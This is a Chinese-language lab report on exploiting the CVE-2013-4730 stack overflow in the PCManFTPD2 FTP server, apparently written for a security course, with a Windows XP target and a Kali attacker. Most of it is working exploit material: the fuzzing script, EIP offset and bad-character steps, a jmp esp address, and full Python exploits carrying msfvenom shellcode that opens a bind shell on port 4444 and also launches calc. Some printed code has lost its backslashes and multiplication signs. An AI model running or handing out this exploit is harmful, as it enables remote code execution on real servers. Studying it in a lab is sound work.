本实验所用winxp环境在网盘自取
链接:https://pan.quark.cn/s/a4beee17ee0e
1.项目名称
CVE-2013-4730 漏洞利用
2.实践目的
掌握一个典型的栈溢出漏洞的挖掘、检测、分析与利用的全过程。
3.实践内容
针对 FTP 服务器软件 PCManFTPD2.exe 存在的栈溢出漏洞,通过 FUZZ 方法对软件进行漏洞挖掘,然后基于 Kali Linux 构建 POC 攻击代码,实现对漏洞的有效利用,最终实现程序流程的劫持。
4.实践要求
1)掌握缓冲区漏洞模糊测试漏洞挖掘的基本原理和方法;
2)掌握缓冲区溢出漏洞利用的基本原理和方法;
3)掌握 Kali Linux 的基本用法。
5.实践方法和步骤
靶机:winxp(存在漏洞程序PCManFTPD2.exe)
攻击机:kali linux
首先在靶机上运行ftp漏洞程序,21端口监听
1)通过fuzz(模糊测试)触发异常
在攻击机kali中写poc脚本,然后对靶机漏洞程序进行喂值
import socket 恶意字符串,由 'A' 组成 evil = 'A' * 3000 创建一个套接字对象 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 连接到 FTP 服务器 connect = s.connect(('192.168.110.145', 21)) 接收初始响应 s.recv(1024) 发送 USER 命令,包含恶意字符串 s.send(('USER ' + evil + 'rn').encode('utf-8')) 接收 USER 命令后的响应 s.recv(1024) 发送 PASS 命令 s.send('PASS anonymousrn'.encode('utf-8')) 接收 PASS 命令后的响应 s.recv(1024)
程序出现崩溃,当前eip为0x41414141(AAAA),表明存在缓冲区溢出,调整输入的值,继续喂养
2)这里通过二分法来调整输入
即下一个值为恶意字符串为1500个A
发现程序正常,没有崩溃,继续二分为2250
再次崩溃,说明还可以继续调整值为1500-2250之间的值
最后通过测试,在我的电脑上,当字符串值为2002个A时,程序崩溃,且eip的值为0x0d414141,表明溢出了,但没有完全覆盖eip,再次修改字符串的值为2001
现在就可以确定缓冲区溢出的精确位置,修改恶意字符串为'A'*1999 + 'B'*4,预测可以完全覆盖eip,且值为0x42424242
符合预期,即可以确定该处就是缓冲区溢出的地址(注入值1999所在的地址)
这一步就相当于可以控制程序的执行流,把返回地址eip替换为任意值(上面验证的过程eip为B的ASCII)
3)确定可用的shellcode空间
修改恶意字符串的值为'A'*1999 + 'B'4 + 'C'(3000-2004-4)
发现栈空间距离esp为+3DD的距离,换算成十进制为989,对于shellcode的写入完全够用(一般为500字节左右)\
4)基于唯一字符串进一步确定缓冲区溢出的eip地址
在kali中生成3000个唯一字符串
msf-pattern_create -l 3000
然后替换恶意字符串的值,运行程序触发异常
用此时eip的值,在kail中匹配偏移量
msf-pattern_offset -q 6f43366f
跟之前判断的相同,也为1999,即偏移量为1999的地址
还可以通过在immunity debugger中使用!mona findmsp查询,也可以得到该值
结果一致
5)排除坏字节,利用immunity debugger插件命令进行
!mona help 会显示出 mona 命令下的帮助信息
!mona ba 用来辅助查找坏字节 bad char
!mona ba -cpb "x00" , 即 产 生 不 包 含 “ x00 ” 的 数 字 序 列
将得到的数字序列写入恶意字符串中,然后运行
发现坏字节为0A,将其删除,继续找下一个
找到第二个为0D,删掉,继续执行
没有坏字节了,所以最后的坏字节是”x00x0Ax0D“
6)找跳转指令(jmp)的值
通过immunity debugger命令执行
!mona jmp -r esp
在该程序的目录下找到生成的文件
打开之后,找到不含00的地址
用第一个
然后在immunity debugger中验证是否是这个值
ctrl+g搜索该地址然后f2下断点
修改恶意字符串的值为"A"1999 + "x57xb2xf8x77"+ badchar + "C"(3000-1999-4-len(badchar))
运行程序,看是否停在该位置
确实停在该地址,跳转指令没问题
7)写shellcode
在kali中写如下命令生成shellcode指令msfvenom -p windows/shell_bind_tcp exitfunc=thread -b "x00x0ax0d" -f python -v shellcode
将其写入恶意字符中,并且加上x90*50,该空间可以保证shellcode顺利执行
最后的恶意字符串为evil = ("A"*1999).encode() + b'x57xb2xf8x77' + b"x90"50 + shellcode + ("C"(3000-1999-4-50-len(shellcode))).encode()
import socket shellcode = b"" shellcode += b"xbexfcxb0xa7x73xddxc5xd9x74x24xf4" shellcode += b"x58x29xc9xb1x53x83xc0x04x31x70x0e" shellcode += b"x03x8cxbex45x86x90x57x0bx69x68xa8" shellcode += b"x6cxe3x8dx99xacx97xc6x8ax1cxd3x8a" shellcode += b"x26xd6xb1x3exbcx9ax1dx31x75x10x78" shellcode += b"x7cx86x09xb8x1fx04x50xedxffx35x9b" shellcode += b"xe0xfex72xc6x09x52x2ax8cxbcx42x5f" shellcode += b"xd8x7cxe9x13xccx04x0exe3xefx25x81" shellcode += b"x7fxb6xe5x20x53xc2xafx3axb0xefx66" shellcode += b"xb1x02x9bx78x13x5bx64xd6x5ax53x97" shellcode += b"x26x9bx54x48x5dxd5xa6xf5x66x22xd4" shellcode += b"x21xe2xb0x7exa1x54x1cx7ex66x02xd7" shellcode += b"x8cxc3x40xbfx90xd2x85xb4xadx5fx28" shellcode += b"x1ax24x1bx0fxbex6cxffx2exe7xc8xae" shellcode += b"x4fxf7xb2x0fxeax7cx5ex5bx87xdfx37" shellcode += b"xa8xaaxdfxc7xa6xbdxacxf5x69x16x3a" shellcode += b"xb6xe2xb0xbdxb9xd8x05x51x44xe3x75" shellcode += b"x78x83xb7x25x12x22xb8xadxe2xcbx6d" shellcode += b"x5bxeax6axdex7ex17xccx8ex3exb7xa5" shellcode += b"xc4xb0xe8xd6xe6x1ax81x7fx1bxa5xbc" shellcode += b"x23x92x43xd4xcbxf2xdcx40x2ex21xd5" shellcode += b"xf7x51x03x4dx9fx1ax45x4axa0x9ax43" shellcode += b"xfcx36x11x80x38x27x26x8dx68x30xb1" shellcode += b"x5bxf9x73x23x5bxd0xe3xc0xcexbfxf3" shellcode += b"x8fxf2x17xa4xd8xc5x61x20xf5x7cxd8" shellcode += b"x56x04x18x23xd2xd3xd9xaaxdbx96x66" shellcode += b"x89xcbx6ex66x95xbfx3ex31x43x69xf9" shellcode += b"xebx25xc3x53x47xecx83x22xabx2fxd5" shellcode += b"x2axe6xd9x39x9ax5fx9cx46x13x08x28" shellcode += b"x3fx49xa8xd7xeaxc9xc8x35x3ex24x61" shellcode += b"xe0xabx85xecx13x06xc9x08x90xa2xb2" shellcode += b"xeex88xc7xb7xabx0ex34xcaxa4xfax3a" shellcode += b"x79xc4x2e" 恶意字符串 evil = ("A"1999).encode() + b'x57xb2xf8x77' + b"x90"50 + shellcode + ("C"*(3000-1999-4-50-len(shellcode))).encode() 创建一个套接字对象 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: # 连接到 FTP 服务器 s.connect(('192.168.110.145', 21)) # 接收初始响应 response = s.recv(1024) # 发送 USER 命令,包含恶意字符串 s.send((b'USER ' + evil + b'rn')) # 接收 USER 命令后的响应 response = s.recv(1024) # 发送 PASS 命令 s.send(b'PASS anonymousrn') # 接收 PASS 命令后的响应 response = s.recv(1024) except socket.error as e: print(f"Socket error: {e}") finally: # 关闭套接字 s.close()
运行之后查看靶机端口开启状况,netstat -ano
成功写入shellcode并打开一个监听端口4444
在攻击机上运行连接命令,nc 192.168.110.145 4444
连接成功
漏洞复现成功
8)下面是测试打开计算机的shellcode
import socket
buf = b"" buf += b"xbfx05x83xd4x98xdbxcexd9x74x24xf4x5a" buf += b"x31xc9xb1x31x31x7ax13x03x7ax13x83xc2" buf += b"x01x61x21x64xe1xe7xcax95xf1x87x43x70" buf += b"xc0x87x30xf0x72x38x32x54x7exb3x16x4d" buf += b"xf5xb1xbex62xbex7cx99x4dx3fx2cxd9xcc" buf += b"xc3x2fx0ex2fxfaxffx43x2ex3bx1dxa9x62" buf += b"x94x69x1cx93x91x24x9dx18xe9xa9xa5xfd" buf += b"xb9xc8x84x53xb2x92x06x55x17xafx0ex4d" buf += b"x74x8axd9xe6x4ex60xd8x2ex9fx89x77x0f" buf += b"x10x78x89x57x96x63xfcxa1xe5x1ex07x76" buf += b"x94xc4x82x6dx3ex8ex35x4axbfx43xa3x19" buf += b"xb3x28xa7x46xd7xafx64xfdxe3x24x8bxd2" buf += b"x62x7exa8xf6x2fx24xd1xafx95x8bxeexb0" buf += b"x76x73x4bxbax9ax60xe6xe1xf0x77x74x9c" buf += b"xb6x78x86x9fxe6x10xb7x14x69x66x48xff" buf += b"xcex98x02xa2x66x31xcbx36x3bx5cxecxec" buf += b"x7fx59x6fx05xffx9ex6fx6cxfaxdbx37x9c" buf += b"x76x73xd2xa2x25x74xf7xc0xa8xe6x9bx28" buf += b"x4fx8fx3ex35" 恶意字符串 evil = ("A"1999).encode() + b'x57xb2xf8x77' + b"x90"50 + buf + ("C"*(3000-1999-4-50-len(buf))).encode() 创建一个套接字对象 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: # 连接到 FTP 服务器 s.connect(('192.168.110.145', 21)) # 接收初始响应 response = s.recv(1024) # 发送 USER 命令,包含恶意字符串 s.send((b'USER ' + evil + b'rn')) # 接收 USER 命令后的响应 response = s.recv(1024) # 发送 PASS 命令 s.send(b'PASS anonymousrn') # 接收 PASS 命令后的响应 response = s.recv(1024) except socket.error as e: print(f"Socket error: {e}") finally: # 关闭套接字 s.close()
打开成功
项目完成
6.总结及注意事项
该漏洞复现有一定难度,要逐步确定eip地址还有shellcode的写入位置以及坏字节的筛查等等,中间也没出现很多问题,最主要的就是得细心,不能出错
二分找eip偏移的时候要根据自己电脑的具体情况确定
最后一步写shellcode放入python里面时会有数据类型等等小错误(版本问题),需要根据python版本统一字符串或者字节串